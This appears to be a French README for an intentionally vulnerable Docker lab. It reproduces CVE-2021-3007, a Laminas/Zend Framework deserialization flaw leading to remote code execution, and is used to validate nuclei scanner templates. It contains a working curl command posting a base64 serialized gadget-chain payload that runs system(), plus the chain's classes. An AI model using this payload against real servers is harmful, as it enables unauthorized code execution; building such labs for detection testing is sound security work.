
CVE-2021-3007 Environnement de test vulnérable - Désérialisation RCE Laminas/Zend Framework
Environnement de test volontairement vulnérable pour valider la détection de CVE-2021-3007 dans les scanners de sécurité.
| Attribut | Valeur |
|---|---|
| CVE ID | CVE-2021-3007 |
| Sévérité | Critique (CVSS 9.8) |
| Type | Désérialisation non sécurisée → RCE |
| Affecté | Laminas HTTP < 2.14.2, Zend Framework 3.0.0 |
| CWE | CWE-502 (Désérialisation de données non fiables) |
# Clone repository
git clone https://github.com/KrE80r/CVE-2021-3007-vulnerable
cd CVE-2021-3007-vulnerable
# Start vulnerable environment
docker-compose up -d
# Verify it's running
curl http://localhost:8080
# Test with nuclei (optional)
nuclei -t CVE-2021-3007.yaml -u http://localhost:8080
# Cleanup
docker-compose down
docker-compose up -d && sleep 3 && curl -s http://localhost:8080 | head -1
# Send serialized payload triggering RCE
curl -X POST http://localhost:8080/ \
-d "data=TzoyODoiTGFtaW5hc1xIdHRwXFJlc3BvbnNlXFN0cmVhbSI6Mjp7czoxMDoiACoAY2xlYW51cCI7YjoxO3M6MTM6IgAqAHN0cmVhbU5hbWUiO086Mjg6IkxhbWluYXNcVmlld1xIZWxwZXJcR3JhdmF0YXIiOjI6e3M6NzoiACoAdmlldyI7TzozMzoiTGFtaW5hc1xWaWV3XFJlbmRlcmVyXFBocFJlbmRlcmVyIjoxOntzOjQ0OiIATGFtaW5hc1xWaWV3XFJlbmRlcmVyXFBocFJlbmRlcmVyAF9faGVscGVycyI7TzoyMToiTGFtaW5hc1xDb25maWdcQ29uZmlnIjoxOntzOjc6IgAqAGRhdGEiO2E6Mjp7czoxMDoiZXNjYXBlaHRtbCI7czo2OiJzeXN0ZW0iO3M6MTQ6ImVzY2FwZWh0bWxhdHRyIjtzOjE3OiJmaWxlX2dldF9jb250ZW50cyI7fX19czoxMzoiACoAYXR0cmlidXRlcyI7YToxOntzOjIyOiJlY2hvIG51Y2xlaUNWRTIwMjEzMDA3IjtpOjE7fX19"
# Expected: Response contains "nucleiCVE20213007" confirming RCE
Laminas\Http\Response\Stream::__destruct()
└─► Laminas\View\Helper\Gravatar::__toString()
└─► Laminas\View\Renderer\PhpRenderer::plugin()
└─► Laminas\Config\Config::get()
└─► system() / file_get_contents()
| Paquet | Version | Rôle |
|---|---|---|
| laminas/laminas-http | 2.14.1 | Composant HTTP vulnérable |
| laminas/laminas-view | 2.12.0 | Composant de chaîne de gadgets |
| laminas/laminas-config | 3.7.0 | Composant de chaîne de gadgets |
L'application accepte des données sérialisées via POST :
/ ou /index.phpdata, payload, serialized| Composant | Valeur |
|---|---|
| Image de base | php:8.1-apache |
| Port | 8080 |
| Conteneur | cve-2021-3007-vulnerable |
.
├── Dockerfile # Container build configuration
├── docker-compose.yml # Orchestration (one-shot setup)
├── index.php # Vulnerable PHP application
├── LICENSE # MIT License
└── README.md # This file
AVERTISSEMENT : Cet environnement est volontairement vulnérable et est destiné uniquement à des fins de tests de sécurité.
À NE PAS FAIRE :
À FAIRE :
Licence MIT - Uniquement à des fins de recherche en sécurité et d'éducation.
Créé pour la validation de modèles nuclei | projectdiscovery/nuclei-templates